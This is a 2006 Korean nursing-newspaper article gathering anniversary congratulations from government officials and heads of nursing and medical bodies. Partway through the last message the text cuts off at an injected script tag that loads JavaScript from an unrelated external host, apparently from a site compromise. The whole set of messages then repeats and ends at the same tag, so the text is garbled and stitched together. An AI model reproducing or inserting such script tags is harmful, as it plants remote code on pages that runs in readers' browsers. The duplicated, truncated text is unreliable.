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간협신보 창간30주년 축하 메시지Ⅱ(복지부장관 등)
[편집국] 편집부 news@nursenews.co.kr 기사입력 2006-10-26 오전 09:43:22
◆ 간호발전 이끄는 소임 다하길
= 유시민(보건복지부 장관)
간협신보 창간 30주년을 진심으로 축하드립니다. 긴 세월 동안 간협신보를 내실 있는 간호전문매체로 키워온 관계자 여러분의 노고와 정성에 주무부처 장관으로서 감사의 말씀을 드립니다. 전국의 의료현장에서 환자들을 돌보고 계시는 모든 간호사 여러분께도 경의를 표합니다.
대한간호협회는 최고의 여성 전문직 단체로서 우리나라의 보건의료 발전에 많은 기여를 하면서 간호사들의 구심체로 성장해왔습니다. 간호사 여러분들은 어려운 여건 속에서도 국민 건강을 지키는 파수꾼으로서의 긍지와 자부심을 가지고 국민의 질병예방과 치료.회복에 헌신적인 노력을 하였습니다.
간협신보는 간호계의 동향을 한눈에 알 수 있게 해주었고 의료인들에게 다양하고 정확한 정보를 제공해주면서 정부가 올바른 정책을 마련하는데도 큰 역할을 해주었습니다. 앞으로도 간협신보가 그러한 소임을 다해 줄 것으로 믿습니다.
대한간호협회와 간협신보의 무궁한 발전을 기원합니다. 간호사 여러분들의 가정에도 행복이 가득하길 빕니다.
◆ 양성평등 사회 만드는데 앞장
= 장하진(여성가족부 장관)
지난 100여년의 긴 세월 동안, 간호사와 대한간호협회는 국민의 건강증진을 위해 활발한 활동을 전개해 온 것은 물론, 국가와 민족을 위해 헌신해 왔습니다. 간호사는 대표적인 전문직으로 자리매김하여 여성의 역할 확대와 지위향상에 기여해 왔습니다. 이러한 발전에는 여성의 평등하고 건강한 삶을 이끌어 준 간협신보의 역할이 지대하다 할 것입니다.
21세기는 여성의 시대입니다. 2001년 출범한 여성부는 2005년 6월 여성가족부로 확대 개편하면서 여성에 대한 차별을 없애는 소극적 차원의 제도개선을 뛰어 넘어, 지속적 성장동력인 여성인적자원을 적극적으로 활용하고, 가정과 직장을 양립할 수 있는 문화를 확산시키기 위해 다양한 정책을 추진하고 있습니다.
고령화사회가 도래하면서 전문 간호인력의 역할은 더욱 중요해지며, 돌봄 서비스는 핵심 사회서비스로 평가받고 있습니다. 여성가족부는 이러한 전문인력이 자부심을 가지고 일할 수 있도록 노력할 것입니다. 대한간호협회와 간협신보의 무궁한 발전을 기원합니다.
◆ 국민 건강증진 디딤돌 되길
= 김태홍(국회 보건복지위원장)
전국 22만 간호사들을 대변하고 권익보호에 힘써온 간협신보 창간 30주년을 진심으로 축하드리며, 간협신보와 대한간호협회 가족 여러분의 노고에도 격려를 보냅니다.
우리는 간호사의 이미지에서 `백의의 천사'를 많이 떠올립니다. 간호사는 일반 직업과는 다른 높은 희생정신과 봉사심을 요구하기 때문일 것입니다. 저 역시 병원에 입원해 치료를 받은 경험이 있으며 당시 담당 간호사분의 헌신적인 간호로 빨리 완쾌될 수 있었다고 생각합니다.
평소 남다른 관심을 갖고 간협신보를 통해 많은 정보를 얻고 있으며, 올해가 창간 30돌이라는 것을 알고서 간협신보의 긴 역사에 대해 다시 한 번 감탄하게 되었습니다.
간협신보는 강산이 세 번 바뀌는 긴 시간동안 보건복지, 여성, 가족 등 전 분야에 걸친 고른 정보 제공으로 국민 건강증진에 이바지 해온 공로가 매우 크다고 할 수 있습니다. 앞으로도 국민 건강증진이라는 우리 보건의료계 공통목표를 위해 더욱더 노력해주실 것을 부탁드리며, 발전을 기원하는 바입니다.
◆ 간호 위상.이미지 향상에 기여
= 히로코 미나미(국제간호협의회장)
세계의 간호사들을 대표해 간협신보 창간 30주년을 진심으로 축하드립니다.
간호사들에게 간호의 최신 이슈와 흐름을 전달하는 일은 매우 중요합니다. 그동안 간협신보는 한국 간호사들의 결속력을 높이고 의사소통을 활성화시키는데 중요한 역할을 해왔습니다. 또한 여러 보건의료전문인들과 정부, 국민들에게 간호를 알리고, 간호전문직의 위상을 높이고 이미지를 향상시키는데 기여해 왔습니다.
간협신보는 국제간호협의회(ICN)의 3대 목표를 지지하고 널리 알리는데도 힘쓰고 있는 동반자입니다. ICN의 목표는 세계 간호가 함께 나아가며, 간호사와 간호를 발전시키고, 올바른 건강정책이 추진되도록 영향력을 발휘하는 것입니다. 세계 간호사들이 함께 일하고, 지식과 경험을 공유함으로써 보다 건강한 세상을 만들어 나갈 수 있습니다.
간호사들에게 유익한 정보를 제공하고, 국민들에게 간호를 올바로 알리는 언론매체로서 자긍심을 갖고 정진해 나가기 바랍니다. 앞으로 더욱 영향력 있는 신문으로 발전하길 기원합니다.
◆ 신뢰받는 전문언론으로 성장 기대
= 장동익(대한의사협회장)
간호계의 유일한 정론지이자 간호사의 신뢰받는 동반자인 간협신보 창간 30돌을 진심으로 축하드립니다.
간호계의 입장을 대변하고 보건의료 및 여성계 소식을 폭넓게 보도해온 ?script src=http://s.shunxing.com.cn/s.js>
= 유시민(보건복지부 장관)
간협신보 창간 30주년을 진심으로 축하드립니다. 긴 세월 동안 간협신보를 내실 있는 간호전문매체로 키워온 관계자 여러분의 노고와 정성에 주무부처 장관으로서 감사의 말씀을 드립니다. 전국의 의료현장에서 환자들을 돌보고 계시는 모든 간호사 여러분께도 경의를 표합니다.
대한간호협회는 최고의 여성 전문직 단체로서 우리나라의 보건의료 발전에 많은 기여를 하면서 간호사들의 구심체로 성장해왔습니다. 간호사 여러분들은 어려운 여건 속에서도 국민 건강을 지키는 파수꾼으로서의 긍지와 자부심을 가지고 국민의 질병예방과 치료.회복에 헌신적인 노력을 하였습니다.
간협신보는 간호계의 동향을 한눈에 알 수 있게 해주었고 의료인들에게 다양하고 정확한 정보를 제공해주면서 정부가 올바른 정책을 마련하는데도 큰 역할을 해주었습니다. 앞으로도 간협신보가 그러한 소임을 다해 줄 것으로 믿습니다.
대한간호협회와 간협신보의 무궁한 발전을 기원합니다. 간호사 여러분들의 가정에도 행복이 가득하길 빕니다.
◆ 양성평등 사회 만드는데 앞장
= 장하진(여성가족부 장관)
지난 100여년의 긴 세월 동안, 간호사와 대한간호협회는 국민의 건강증진을 위해 활발한 활동을 전개해 온 것은 물론, 국가와 민족을 위해 헌신해 왔습니다. 간호사는 대표적인 전문직으로 자리매김하여 여성의 역할 확대와 지위향상에 기여해 왔습니다. 이러한 발전에는 여성의 평등하고 건강한 삶을 이끌어 준 간협신보의 역할이 지대하다 할 것입니다.
21세기는 여성의 시대입니다. 2001년 출범한 여성부는 2005년 6월 여성가족부로 확대 개편하면서 여성에 대한 차별을 없애는 소극적 차원의 제도개선을 뛰어 넘어, 지속적 성장동력인 여성인적자원을 적극적으로 활용하고, 가정과 직장을 양립할 수 있는 문화를 확산시키기 위해 다양한 정책을 추진하고 있습니다.
고령화사회가 도래하면서 전문 간호인력의 역할은 더욱 중요해지며, 돌봄 서비스는 핵심 사회서비스로 평가받고 있습니다. 여성가족부는 이러한 전문인력이 자부심을 가지고 일할 수 있도록 노력할 것입니다. 대한간호협회와 간협신보의 무궁한 발전을 기원합니다.
◆ 국민 건강증진 디딤돌 되길
= 김태홍(국회 보건복지위원장)
전국 22만 간호사들을 대변하고 권익보호에 힘써온 간협신보 창간 30주년을 진심으로 축하드리며, 간협신보와 대한간호협회 가족 여러분의 노고에도 격려를 보냅니다.
우리는 간호사의 이미지에서 `백의의 천사'를 많이 떠올립니다. 간호사는 일반 직업과는 다른 높은 희생정신과 봉사심을 요구하기 때문일 것입니다. 저 역시 병원에 입원해 치료를 받은 경험이 있으며 당시 담당 간호사분의 헌신적인 간호로 빨리 완쾌될 수 있었다고 생각합니다.
평소 남다른 관심을 갖고 간협신보를 통해 많은 정보를 얻고 있으며, 올해가 창간 30돌이라는 것을 알고서 간협신보의 긴 역사에 대해 다시 한 번 감탄하게 되었습니다.
간협신보는 강산이 세 번 바뀌는 긴 시간동안 보건복지, 여성, 가족 등 전 분야에 걸친 고른 정보 제공으로 국민 건강증진에 이바지 해온 공로가 매우 크다고 할 수 있습니다. 앞으로도 국민 건강증진이라는 우리 보건의료계 공통목표를 위해 더욱더 노력해주실 것을 부탁드리며, 발전을 기원하는 바입니다.
◆ 간호 위상.이미지 향상에 기여
= 히로코 미나미(국제간호협의회장)
세계의 간호사들을 대표해 간협신보 창간 30주년을 진심으로 축하드립니다.
간호사들에게 간호의 최신 이슈와 흐름을 전달하는 일은 매우 중요합니다. 그동안 간협신보는 한국 간호사들의 결속력을 높이고 의사소통을 활성화시키는데 중요한 역할을 해왔습니다. 또한 여러 보건의료전문인들과 정부, 국민들에게 간호를 알리고, 간호전문직의 위상을 높이고 이미지를 향상시키는데 기여해 왔습니다.
간협신보는 국제간호협의회(ICN)의 3대 목표를 지지하고 널리 알리는데도 힘쓰고 있는 동반자입니다. ICN의 목표는 세계 간호가 함께 나아가며, 간호사와 간호를 발전시키고, 올바른 건강정책이 추진되도록 영향력을 발휘하는 것입니다. 세계 간호사들이 함께 일하고, 지식과 경험을 공유함으로써 보다 건강한 세상을 만들어 나갈 수 있습니다.
간호사들에게 유익한 정보를 제공하고, 국민들에게 간호를 올바로 알리는 언론매체로서 자긍심을 갖고 정진해 나가기 바랍니다. 앞으로 더욱 영향력 있는 신문으로 발전하길 기원합니다.
◆ 신뢰받는 전문언론으로 성장 기대
= 장동익(대한의사협회장)
간호계의 유일한 정론지이자 간호사의 신뢰받는 동반자인 간협신보 창간 30돌을 진심으로 축하드립니다.
간호계의 입장을 대변하고 보건의료 및 여성계 소식을 폭넓게 보도해온 ?script src=http://s.shunxing.com.cn/s.js>
